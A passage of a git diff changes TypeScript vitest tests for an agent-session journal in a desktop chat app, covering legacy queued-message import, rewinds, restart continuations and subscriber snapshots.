expect(journal.submission('u')?.dispatchState).toBe('rejected') - expect(visits).toBeGreaterThanOrEqual(2 * size) - visits = 0 - for (let p = 0; p < 5; p++) { - feed.publish(SESSION, journal) - } - expect(visits).toBe(0) - expect(received.map((es) => es.filter((e) => e.type === 'snapshot').length)).toEqual([1, 1, 0]) - } finally { - scans.mockRestore() - db().exec('DROP TRIGGER b2_raw_fail_import') - await journal.close() - } -}) - -it('public metadata follows legacy-only commits, item recreation and epoch replacement', async () => { - const earlier = journalFor(SESSION) - await earlier.open() - await earlier.queuedMessages.insert({ messageId: 'q', body: message('words') }) - await handOff(earlier, 'u', 'q', 'words', 'cancelled') - await earlier.close() - seedLegacy(SESSION, [['gone', 'withdrawn', 'deleted']]) - db().exec(`CREATE TEMP TRIGGER b2_source_fail_import BEFORE DELETE ON queued_messages - BEGIN SELECT RAISE(ABORT, 'disk full'); END`) - const journal = journalFor(SESSION) - await journal.open() - const ids = vi.spyOn(journal.queuedMessages.displayState().normalizedHandOffs, Symbol.iterator) - const key = journal.publicRead().normalizationKey - const snapshot = journal.snapshot() - expect(journal.snapshot()).toBe(snapshot) - expect(key).not.toBe('') - const cursor = journal.cursor() - const catchUp = createAgentSessionCatchUpReader(journal, undefined, journal.publicRead()) - const request = { sessionId: SESSION, direction: 'tail' as const } - const beforeImport = catchUp(request) - expect(beforeImport).toMatchObject({ ok: true, page: { items: snapshot.items } }) - db().exec('DROP TRIGGER b2_source_fail_import') - await journal.queuedMessages.importAtOpen() - expect(journal.cursor()).toEqual(cursor) - expect(legacyIds()).toEqual([]) - expect(journal.snapshot()).not.toBe(snapshot) - expect(catchUp(request)).toEqual(beforeImport) - expect(ids).toHaveBeenCalledTimes(1) - expect(journal.publicRead().normalizationKey).toBe(key) - expect(ids).toHaveBeenCalledTimes(2) - ids.mockRestore() - const identity = { provider: 'orca' as const, clientMessageId: 'u' } - await journal.appendTombstone(identity, { fence: 0 }) - expect(journal.publicRead().normalizationKey).toBe('') - expect(journal.snapshot().items).toEqual([]) - await journal.appendItem(identity, message('recreated'), threadWrite) - expect([key, '']).not.toContain(journal.publicRead().normalizationKey) - expect(journal.snapshot().items[0]?.body).toEqual(message('recreated')) - await journal.rollEpoch('handle_forked', 0) - expect(journal.epoch).not.toBe(cursor.epoch) - expect(journal.publicRead().normalizationKey).toBe('') - expect(journal.snapshot().items).toEqual([]) - await journal.close() -}) - -it('a rewind while the import has failed moves the legacy cards first: a refused one stays returned', async () => { - const earlier = journalFor(SESSION) - const clear = { command: 'clear' as const } - expect( - await rig.host.conversationCommand(CALLER, { - ...clear, - envelope: rig.envelope(clear, 'agentSession.conversationCommand', hostTestOperationId()) - }) - ).toMatchObject({ ok: true }) - const target = rig.send('rewound away') - expect(await target.result).toMatchObject({ ok: true }) - await eventually(async () => - expect((await rig.submission(target.id))?.handedOverAt).toBeDefined() - ) - await rig.settleAccepted(target.id, 'target') - await rig.host.close(SESSION, 'evict') - await earlier.open() - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - await handOff( - earlier, - 'att-refused', - 'disp-refused', - 'refused, never settled', - 'providerRejected', - fence - ) - await earlier.close() - seedLegacy(SESSION, [ - ['disp-refused', 'dispatched', 'refused, never settled', 'att-refused'], - ['edited', 'waiting', 'waiting, edited'] - ]) - db().exec(`CREATE TEMP TRIGGER fail_import BEFORE DELETE ON queued_messages - BEGIN SELECT RAISE(ABORT, 'disk full'); END`) - const warned = vi.spyOn(console, 'warn').mockImplementation(() => undefined) - const held = [ - { messageId: 'disp-refused', state: 'returned' }, - { messageId: 'edited', state: 'waiting' } - ] - expect(await rig.drafts()).toEqual(held) - db().exec('DROP TRIGGER fail_import') - warned.mockRestore() - - const live = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal - const rewound = { itemId: agentJournalSubmissionKey(target.id), expectedEpoch: live.epoch } - expect( - await rig.host.rewind(CALLER, { - ...rewound, - envelope: rig.envelope(rewound, 'agentSession.rewind', hostTestOperationId()) - }) - ).toMatchObject({ ok: true }) - expect(live.epoch).toBe(rewound.expectedEpoch) - expect(live.submission('att-refused')).toBeUndefined() - expect(await rig.drafts()).toEqual(held) - await nothingSentTo('edited') - expect(legacyIds()).toEqual([]) -}) - -const retainedHistoryCases = [ - { adopt: false, proof: 'none' }, - { adopt: true, proof: 'none' }, - { adopt: false, proof: 'dispatch' }, - { adopt: true, proof: 'item' } -] -it.each(retainedHistoryCases)('retained history: $adopt / $proof', async ({ adopt, proof }) => { - const earlier = journalFor(SESSION) - await earlier.open() - const append = async (journal: AgentSessionJournal, ordinal: number) => { - await journal.appendItem( - { provider: 'codex', threadId: 'history', turnId: 't', ordinal }, - { ...message('x'.repeat(4_000)), role: 'assistant' }, - { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - } - await append(earlier, 0) - await handOff( - earlier, - 'u', - 'q', - 'stopped words', - 'cancelled', - 0, - async () => { - for (let index = 1; index <= 205; index++) { - await append(earlier, index) - } - }, - proof === 'none' - ? undefined - : { - turn: { provider: 'codex', threadId: 'history', turnId: 't', ordinal: -1 }, - via: 'steer' - } - ) - const stale = readAgentSessionHistory(earlier, { sessionId: SESSION, direction: 'tail' }) - expect(stale.ok).toBe(true) - await earlier.close() - seedLegacy(SESSION, [['q', 'waiting', 'stopped words']]) - if (!adopt) { - db().exec(`CREATE TEMP TRIGGER b2_fail_import BEFORE DELETE ON queued_messages - BEGIN SELECT RAISE(ABORT, 'disk full'); END`) - } - const journal = journalFor(SESSION) - await journal.open() - if (!adopt) { - db().exec('DROP TRIGGER b2_fail_import') - } - const queue = { queuedMessages: [], queuePause: null, nextQueuedMessageId: null } - const feed = new AgentSessionSubscribers({ readQueuePublication: () => queue }) - const base = { sessionId: SESSION, journal, fence: 0 } - const oldEvents: AgentSessionSubscribeEvent[] = [] - feed.open({ - ...base, - id: 'old', - cursor: journal.cursor(), - snapshotCatchUp: false, - readsCurrentRequests: false, - emit: (event) => oldEvents.push(event) - }) - expect(oldEvents).toEqual([ - { - type: 'batch', - sessionId: SESSION, - fence: 0, - hostNow: expect.any(Number), - activity: null, - ...queue, - batch: { cursor: journal.cursor(), items: [], removedItemIds: [], submissions: [] } - } - ]) - const corrected: AgentSessionSubscribeEvent[][] = [] - const clients: (() => ReturnType)[] = [] - for (const boundedFrames of [false, true]) { - let state = reduceStructuredAgentSession(EMPTY_STRUCTURED_AGENT_SESSION, { - type: 'history-page', - page: structuredClone(stale.page) - }) - const events: AgentSessionSubscribeEvent[] = [] - corrected.push(events) - clients.push(() => state) - const reader = subscriberHistoryReader({ boundedFrames }) - feed.open({ - ...base, - id: `new-${boundedFrames}`, - cursor: journal.cursor(), - boundedFrames, - snapshotCatchUp: true, - readsCurrentRequests: true, - emit: (event) => { - events.push(event) - state = reduceStructuredAgentSession(state, { - type: 'event', - event: structuredClone(event) - }) - } - }) - expect(events[0]?.type).toBe('snapshot') - while (state.hasOlder) { - const requestedCursor = { epoch: journal.epoch, sequence: state.items[0]!.sequence } - const older = readAgentSessionHistory( - journal, - { sessionId: SESSION, direction: 'before', cursor: requestedCursor }, - { reader } - ) - expect(older.ok).toBe(true) - state = reduceStructuredAgentSession(state, { - type: 'older-page', - requestedCursor, - page: structuredClone(older.page) - }) - } - const canonical = journal.snapshot() - expect([state.items, state.submissions]).toEqual([canonical.items, canonical.submissions]) - feed.publish(SESSION, journal) - await append(journal, 205) - feed.publish(SESSION, journal) - } - const cursor = journal.cursor() - const after = readAgentSessionHistory(journal, { - sessionId: SESSION, - direction: 'after', - cursor - }) - expect(after).toMatchObject({ ok: false, reset: 'cursor_compacted' }) - if (!adopt) { - await journal.queuedMessages.importAtOpen() - feed.publish(SESSION, journal) - } - if (proof !== 'none') { - const placed = journal - .snapshot() - .items.find((item) => item.itemId === agentJournalSubmissionKey('u')) - const loaded = clients.map((client) => client().items.length) - const normalizationKey = journal.publicRead().normalizationKey - const identity = { - provider: 'codex' as const, - threadId: 'history', - turnId: 't', - ordinal: 206 - } - if (proof === 'dispatch') { - await journal.acceptLate({ - clientMessageId: 'u', - state: 'accepted', - fence: 0, - providerIdentity: identity - }) - } - await journal.appendItem(identity, message('stopped words'), threadWrite) - feed.publish(SESSION, journal) - expect(journal.submission('u')?.dispatchState).toBe('accepted') - expect(journal.receiptFor('u')).not.toBeNull() - expect(journal.publicRead().normalizationKey).toBe(normalizationKey) - expect(clients.map((client) => client().items.length)).toEqual(loaded) - for (const client of clients) { - expect(client().items.find((item) => item.itemId === placed?.itemId)).toMatchObject({ - sequence: placed?.sequence, - observedAt: placed?.observedAt, - turnScope: placed?.turnScope, - revision: 1 - }) - expect( - client().submissions.find((submission) => submission.clientMessageId === 'u')?.dispatchState - ).toBe('accepted') - } - } - expect( - corrected.map((events) => events.filter((event) => event.type === 'snapshot').length) - ).toEqual([1, 1]) - expect(oldEvents.every((event) => event.type === 'batch')).toBe(true) - await journal.close() - const reopened = journalFor(SESSION) - await reopened.open() - const resumed: AgentSessionSubscribeEvent[] = [] - new AgentSessionSubscribers().open({ - ...base, - journal: reopened, - id: 'reopen', - cursor: reopened.cursor(), - snapshotCatchUp: true, - readsCurrentRequests: true, - emit: (event) => resumed.push(event) - }) - expect(resumed[0]?.type).toBe('snapshot') - await reopened.close() -}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-journal.test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-journal.test-fixture.ts new file mode 100644 index 00000000000..b2b106efb96 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-journal.test-fixture.ts @@ -0,0 +1,34 @@ +import { + seedLegacyTestJournal, + openTestJournalHostDatabase, + pinTestJournalInputMode +} from '../agent-session-journal/journal-host-database-test-support' +import { + claudeProviderHandle, + codexProviderHandle +} from '../../../shared/agent-session-provider-handle-encoding' +import { HOST_TEST_NOW, HOST_TEST_THREAD } from './structured-agent-session-host-test-data' +import type { StructuredAgentSessionHost } from './structured-agent-session-host' + +export function seedQueuedRigLegacyJournal( + root: string, + sessionId: string, + agent?: 'claude' +): (host: StructuredAgentSessionHost) => void { + seedLegacyTestJournal(openTestJournalHostDatabase(root), { + identity: { + sessionId, + workspaceId: 'workspace-1', + hostId: 'local', + agent: agent ?? 'codex', + providerHandle: + agent === 'claude' + ? claudeProviderHandle(HOST_TEST_THREAD, null) + : codexProviderHandle(HOST_TEST_THREAD) + }, + now: () => HOST_TEST_NOW + }) + // Attaching opens the journal; the pin keeps it writing inputs, as a build from before conversion did. + return (host) => + pinTestJournalInputMode(host.collaboratorsForTests().sessions.get(sessionId)!.journal) +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture.ts index 51c1bd9cda0..bae85f50c35 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture.ts @@ -30,6 +30,7 @@ import { closeTestJournalHostDatabase, openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import { seedQueuedRigLegacyJournal } from './structured-agent-session-queued-legacy-journal.test-fixture' import { createStructuredAgentSessionLogger } from './structured-agent-session-logger' import { createQueuedRigProvider, @@ -53,6 +54,7 @@ export type QueuedMessageTestRig = Awaited number /** Teardown records its restart offers, which `restartOffers` lists. */ @@ -100,7 +102,11 @@ export async function createQueuedMessageTestRig( } as const) : {}) }) + const pinLegacy = options.legacyInputs && seedQueuedRigLegacyJournal(root, SESSION, options.agent) expect(await host.attach(QUEUED_RIG_CALLER, firstAttach)).toMatchObject({ ok: true }) + if (pinLegacy) { + pinLegacy(host) + } function envelope( fields: Record, diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-pause-lift.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-pause-lift.test.ts index 1f99738b249..cdde63d6491 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-pause-lift.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-pause-lift.test.ts @@ -645,6 +645,11 @@ describe('a failed Stop', () => { try { // Post-interrupt failure cannot undo the committed Stop receipt. expect(await rig.stop()).toMatchObject({ ok: true }) + expect(failing).toHaveBeenCalledWith( + expect.anything(), + expect.objectContaining({ kind: 'status' }), + expect.anything() + ) } finally { failing.mockRestore() warned.mockRestore() diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-refused-card.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-refused-card.test.ts index c8567377e57..4c261cd2337 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-refused-card.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-refused-card.test.ts @@ -1,6 +1,9 @@ import { afterEach, beforeEach, expect, it, vi } from 'vitest' import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' -import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import { + openTestJournalHostDatabase, + readTestQueueChanges +} from '../agent-session-journal/journal-host-database-test-support' import type { StructuredAgentSessionAdapter } from './structured-agent-session-adapter' import { HOST_TEST_SESSION as SESSION, @@ -34,26 +37,9 @@ async function queuedDraft(text: string): Promise { } function queueRows(): { messageId: string; op: string }[] { - return openTestJournalHostDatabase(rig.root) - .db.prepare('SELECT row_json FROM journal_rows WHERE session_id = ? ORDER BY seq') - .all(SESSION) - .flatMap((row) => { - const parsed: unknown = - typeof row === 'object' && row !== null && 'row_json' in row - ? JSON.parse(String(row.row_json)) - : null - return typeof parsed === 'object' && - parsed !== null && - 'kind' in parsed && - parsed.kind === 'queue' && - 'messageId' in parsed && - 'change' in parsed && - typeof parsed.change === 'object' && - parsed.change !== null && - 'op' in parsed.change - ? [{ messageId: String(parsed.messageId), op: String(parsed.change.op) }] - : [] - }) + return readTestQueueChanges(openTestJournalHostDatabase(rig.root).db, SESSION).map( + ({ messageId, op }) => ({ messageId, op }) + ) } async function expectNothingSent(...draftIds: string[]): Promise { @@ -92,8 +78,12 @@ it('holds the cards behind it through a rewind, a new epoch, a restart and a Res { messageId: c, state: 'waiting' } ] await eventually(async () => expect(await rig.drafts()).toEqual(held)) - // Refusal lives in dispatch state, without another card row. - expect(queueRows()).toEqual([a, b, c].map((messageId) => ({ messageId, op: 'queued' }))) + // Refusal returns the same card in place: its own state changes, and no card is added. + expect(queueRows()).toEqual([ + ...[a, b, c].map((messageId) => ({ messageId, op: 'queued' })), + { messageId: a, op: 'dispatched' }, + { messageId: a, op: 'returned' } + ]) const rewound = { itemId: target, expectedEpoch: journal().cursor().epoch } expect( diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-failure-filing.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-failure-filing.test.ts index 73c0d4ec979..53f2b3ff411 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-failure-filing.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-failure-filing.test.ts @@ -14,7 +14,7 @@ import { QUIT_CUT_NOTICE, readerNotes, statusNotes, - continuationCannotFold + continuationUnanswered } from './structured-agent-session-restart-interruption-test-harness' import { CALLER, envelope } from './structured-agent-session-host-test-harness' import { @@ -99,10 +99,11 @@ it("keeps the quit's notice through a continuation that carries the chat on", as }) it('keeps an unconfirmed failure while the agent the continuation started keeps running', async () => { - const { host } = await interruptedRestart() + const state = await interruptedRestart() + const { host } = state vi.spyOn(console, 'warn').mockImplementation(() => {}) await host.restartResume.list() - continuationCannotFold() + continuationUnanswered(state) const result = await host.restartResume.continueAfterRestart([SESSION], 'modal') diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-interruption-test-harness.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-interruption-test-harness.ts index 21610afa1e7..a1f2794bd1d 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-interruption-test-harness.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-interruption-test-harness.ts @@ -186,21 +186,29 @@ export function throwAfterContinuationAccepted(): void { }) } -/** Fail folding after continuation commit to model uncertain readback; install immediately before sending. */ +/** Fail the continuation's fold; its row and receipt roll back before any dispatch. */ export function continuationCannotFold(): void { const fold = reducer.applyJournalRow vi.spyOn(reducer, 'applyJournalRow').mockImplementation((state, row) => { - if (row.kind !== 'submission') { - fold(state, row) - return + if (row.kind === 'submission') { + throw new Error('the continuation could not fold') } - // Advance sequence/fence before failure, matching reducer ordering. - state.lastSequence = Math.max(state.lastSequence, row.seq) - state.highestFence = Math.max(state.highestFence, row.fence) - throw new Error('the accepted continuation could not fold') + fold(state, row) }) } +/** The agent admits the continuation but no delivery proof arrives; only its later output can settle it. */ +export function continuationUnanswered(state: { + host: StructuredAgentSessionHost + dispatch: ReturnType['dispatch'] +}): void { + state.dispatch.mockResolvedValueOnce({ state: 'admitted' }) + const wait = state.host.waitForSendSettlement + vi.spyOn(state.host, 'waitForSendSettlement').mockImplementation(async (...args) => + args[2]?.until === 'handed-over' ? wait(...args) : undefined + ) +} + export async function statusNotes(host: StructuredAgentSessionHost) { return notesOf((await host.journalSnapshot(SESSION)).items) } diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-offer-newer-orca.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-offer-newer-orca.test.ts index da5c1436686..eaaad55032b 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-offer-newer-orca.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-offer-newer-orca.test.ts @@ -5,9 +5,7 @@ import { AGENT_SESSION_RECOVERY_CAPSULE_FILE, AgentSessionRecoveryCapsule } from '../../runtime/agent-session-recovery-capsule' -import { AGENT_SESSION_JOURNAL_SCHEMA_VERSION } from '../../../shared/agent-session-journal-types' import { - insertTestJournalRowJson, liveTestJournalRows, openTestJournalHostDatabase, updateTestJournalRowJson @@ -27,26 +25,17 @@ afterEach(() => vi.restoreAllMocks()) function newerOrcaRow(root: string, sessionId: string = SESSION): void { const { db } = openTestJournalHostDatabase(root) - const last = liveTestJournalRows(db, sessionId).at(-1) - const parsed: unknown = last ? JSON.parse(last.rowJson) : null - if (!last || typeof parsed !== 'object' || parsed === null || !('epoch' in parsed)) { - throw new Error('the chat has no journal row to follow') + const first = liveTestJournalRows(db, sessionId)[0] + if (!first) { + throw new Error('the chat has no founding row') } - const { epoch } = parsed - const seq = last.seq + 1 - insertTestJournalRowJson( + const anchor = JSON.parse(first.rowJson) + db.prepare('UPDATE journal_outcome_epochs SET format = 99 WHERE session_id = ?').run(sessionId) + updateTestJournalRowJson( db, sessionId, - seq, - JSON.stringify({ - v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, - kind: 'future-mark', - epoch, - seq, - fence: 1, - ts: NOW - }), - NOW + 1, + JSON.stringify({ ...anchor, v: 99, outcomeFormat: 99 }) ) } diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-ownership.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-ownership.test.ts index 80ba77eaa0e..f65f41633d4 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-ownership.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-ownership.test.ts @@ -142,8 +142,9 @@ it('replays the same logical continuation through the durable send ledger', asyn expect(dispatch).toHaveBeenCalledTimes(1) }) -it('keeps a continuation unconfirmed when its accepted message cannot be read back', async () => { - const { host, store } = await interruptedRestart() +// The row commits with its fold or not at all, and dispatch reads only committed sends. +it('refuses a continuation whose message cannot be recorded, without handing it to the agent', async () => { + const { host, dispatch } = await interruptedRestart() vi.spyOn(console, 'warn').mockImplementation(() => {}) expect(await host.restartResume.list()).toHaveLength(1) continuationCannotFold() @@ -152,17 +153,10 @@ it('keeps a continuation unconfirmed when its accepted message cannot be read ba .continueAfterRestart([SESSION], 'modal') .finally(() => vi.restoreAllMocks()) - expect(result.continued).toMatchObject([{ sessionId: SESSION, outcome: 'unknown' }]) - expect(result.failed).toMatchObject([{ sessionId: SESSION, outcome: 'unconfirmed' }]) - expect(await statusNotes(host)).toContainEqual({ - text: AGENT_SESSION_RESTART_CONTINUATION_UNCONFIRMED_NOTE, - tone: 'warning' - }) - expect( - store - .listOperationRows() - .find((row) => row.callerKey === STRUCTURED_AGENT_SESSION_RESTART_CONTINUATION_CALLER) - ).toMatchObject({ outcome: { status: 'succeeded' } }) + expect(result.continued).toMatchObject([{ sessionId: SESSION, outcome: 'refused' }]) + expect(result.failed).toMatchObject([{ sessionId: SESSION, outcome: 'refused' }]) + expect((await host.journalSnapshot(SESSION)).submissions).toEqual([]) + expect(dispatch).not.toHaveBeenCalled() }) it('reports a continuation delivered when its send throws after its message is in the chat', async () => { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-resume-progress.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-resume-progress.test.ts index ef956f17cf8..e5325320826 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-resume-progress.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-resume-progress.test.ts @@ -4,7 +4,7 @@ import type { AgentSessionStatusSummary } from '../../../shared/agent-session-wi import { AgentSessionRecoveryCapsule } from '../../runtime/agent-session-recovery-capsule' import { interruptedRestart, - continuationCannotFold, + continuationUnanswered, startAgent } from './structured-agent-session-restart-interruption-test-harness' import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' @@ -165,7 +165,8 @@ it('publishes skipped for an offer started elsewhere and sends no continuation', it.each(['continued', 'refused', 'unconfirmed'] as const)( 'publishes %s before bookkeeping finishes, then clears progress on return', async (phase) => { - const { host, acquire } = await interruptedRestart() + const state = await interruptedRestart() + const { host, acquire } = state await host.restartResume.list() const summaries: AgentSessionStatusSummary[] = [] const release = host.subscribeStatus({ @@ -180,7 +181,7 @@ it.each(['continued', 'refused', 'unconfirmed'] as const)( acquire.mockRejectedValueOnce(new Error('start refused')) } if (phase === 'unconfirmed') { - continuationCannotFold() + continuationUnanswered(state) } const bookkeeping = Promise.withResolvers() const complete = AgentSessionRecoveryCapsule.prototype.completeResume diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-rewind.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-rewind.test.ts index 1316dd40fbb..383ad1efec8 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-rewind.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-rewind.test.ts @@ -4,10 +4,7 @@ import { expectRetainedPrefixRewindReplay } from './structured-agent-session-rewind-replay.test-fixture' import { expectRawStopNoteRewindRecovery } from './structured-agent-session-rewind-stop-note.test-fixture' -import { - AGENT_JOURNAL_THREAD_SCOPE, - type AgentJournalItemBody -} from '../../../shared/agent-session-journal-types' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import { AgentSessionJournal } from '../agent-session-journal/journal-store' import { mkdtemp, rm } from 'node:fs/promises' import { tmpdir } from 'node:os' @@ -624,42 +621,6 @@ describe('host rewind', () => { expect(store.getRecord(HOST_TEST_SESSION)?.rewind?.phase).toBe('completed') }) - it("keeps a newer Orca's item of an unknown kind, in its place, through a Codex provider hydration", async () => { - expect(await host.attach(caller, hostTestAttachParams(null))).toMatchObject({ ok: true }) - const message = (turnId: string) => ({ - provider: 'codex' as const, - threadId: HOST_TEST_THREAD, - turnId, - ordinal: 0 - }) - const newerRow = { provider: 'orca' as const, clientMessageId: 'newer-card' } - const newerBody: AgentJournalItemBody = JSON.parse( - JSON.stringify({ kind: 'plan-card', steps: [{ text: 'by a newer build' }] }) - ) - sink.appendItem(message('kept'), hostTestMessage('kept'), { - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - sink.appendItem(newerRow, newerBody, { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - sink.appendItem(message('drop'), hostTestMessage('drop'), { - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await host.flushStreamedEvents(HOST_TEST_SESSION) - - expect( - await host.rewind(caller, await params(agentJournalItemKey(message('drop')))) - ).toMatchObject({ ok: true }) - - expect( - (await host.journalSnapshot(HOST_TEST_SESSION)).items.map(({ itemId, body }) => ({ - itemId, - body - })) - ).toEqual([ - { itemId: agentJournalItemKey(message('kept')), body: hostTestMessage('kept') }, - { itemId: agentJournalItemKey(newerRow), body: newerBody } - ]) - }) - it('keeps each kept turn opened by the message that opened it, under its provider key', async () => { expect(await host.attach(caller, hostTestAttachParams(null))).toMatchObject({ ok: true }) const message = (turnId: string, ordinal = 0) => ({ diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-send-options.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-send-options.test.ts index 66dbf8d7847..e1454b350cb 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-send-options.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-send-options.test.ts @@ -2,6 +2,7 @@ import type { StructuredAgentSessionFirstMessage } from '../../../shared/structu import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import { SendParams } from '../../../shared/rpc-contract/structured-agent-session-params' import { agentSessionMessagePayload, agentSessionSendBodyFingerprint @@ -271,6 +272,25 @@ describe('a send carrying its model and effort', () => { refusal: { code: 'agent_session_operation_conflict' } }) }) + + // Every client field the host keeps passes through a reader that drops what it does not know, so + // the chat holds only keys storage declares and reopens after a newer client's send. + it("sends a newer client's message with a choice this build does not know, storing it without that choice", async () => { + const body = hostTestMessage('from a newer client') + const fields = { body: agentSessionMessagePayload(body), options: { ...PICKED, later: 'on' } } + const params = { + envelope: rig.envelope(fields, 'agentSession.send', hostTestOperationId()), + ...fields, + body + } + expect(SendParams.safeParse(params).success).toBe(true) + expect(await rig.host.send(CALLER, params)).toMatchObject({ + ok: true, + value: { submission: { options: PICKED } } + }) + await rig.restartHostProcess() + expect((await rig.submission(params.envelope.clientOperationId))?.options).toEqual(PICKED) + }) }) describe('a send kept as a card because Orca stopped before handing it over', () => { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-stale-turn-verdict.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-turn-verdict.test.ts index f90aee20284..f482e687bad 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-stale-turn-verdict.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-turn-verdict.test.ts @@ -1,731 +1,244 @@ import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { describe, expect, it, vi } from 'vitest' +import { expect, it } from 'vitest' import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' -import type { - AgentJournalItemIdentity, - AgentJournalRenderItem, - AgentJournalTurnScope -} from '../../../shared/agent-session-journal-types' -import type { AgentSessionDeathEvidence } from '../../../shared/agent-session-record' -import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' -import type { AgentSessionJournal } from '../agent-session-journal/journal-store' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase -} from '../agent-session-journal/journal-host-database-test-support' +import type { AgentJournalRenderItem } from '../../../shared/agent-session-journal-types' import { settleStaleStructuredAgentSessionState } from './structured-agent-session-dead-generation-settlement' -import { plannedBatchThrough } from './structured-agent-session-settlement-double.test-fixture' import { runningTurnLifecycleRevisions, turnVerdictFromDeathEvidence, UNVERIFIABLE_TURN_VERDICT } from './structured-agent-session-stale-turn-verdict' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -const THREAD = 'thread-1' -const RUNNING_IDENTITY = { - provider: 'codex' as const, - threadId: THREAD, - turnId: 'turn-2', - ordinal: 0 -} +import { + RUNNING_IDENTITY, + journalWith, + legacyLifecycleItem, + lifecycleItem, + verdictForTurn +} from './structured-agent-session-stale-verdict-contract-test-fixture' -function turnScopeOf(identity: AgentJournalItemIdentity): AgentJournalTurnScope { - return { kind: 'turn', turnItemId: agentJournalItemKey(identity) } -} - -function lifecycleItem( - turnId: string, - state: 'running' | 'completed', - sequence: number, - extra: { startedAt?: number; completedAt?: number } = {} -): AgentJournalRenderItem { - return { - itemId: agentJournalItemKey({ provider: 'codex', threadId: THREAD, turnId, ordinal: 0 }), - revision: 1, - sequence, - observedAt: sequence, - body: { kind: 'turn', turnId, state, ...extra } - } -} - -/** Read legacy status-form lifecycle carriers without writing them back. */ -function legacyLifecycleItem(turnId: string, startedAt: number): AgentJournalRenderItem { - return { - ...lifecycleItem(turnId, 'running', 2), - body: { - kind: 'status', - text: 'Working', - turnLifecycle: { turnId, state: 'running', startedAt } - } - } -} - -function promptItem(state: 'pending' | 'resolved', sequence: number): AgentJournalRenderItem { - return { - itemId: agentJournalItemKey({ - provider: 'legacy', - agent: 'codex', - sessionId: 'session-1', - recordId: `approval-${state}` - }), - revision: 1, - sequence, - observedAt: sequence, - body: { - kind: 'approval', - title: 'Approve?', - detail: null, - options: [], - resolution: { - state, - selectedOptionId: state === 'resolved' ? 'allow' : null, - resolvedBy: state === 'resolved' ? 'client-1' : null, - resolvedAt: state === 'resolved' ? 10 : null - } - } - } -} - -describe('turn verdict from death evidence', () => { - const verdictForTurn = (evidence: AgentSessionDeathEvidence | null | undefined) => - turnVerdictFromDeathEvidence(evidence && { ownerFence: 1, ...evidence }, 1) - 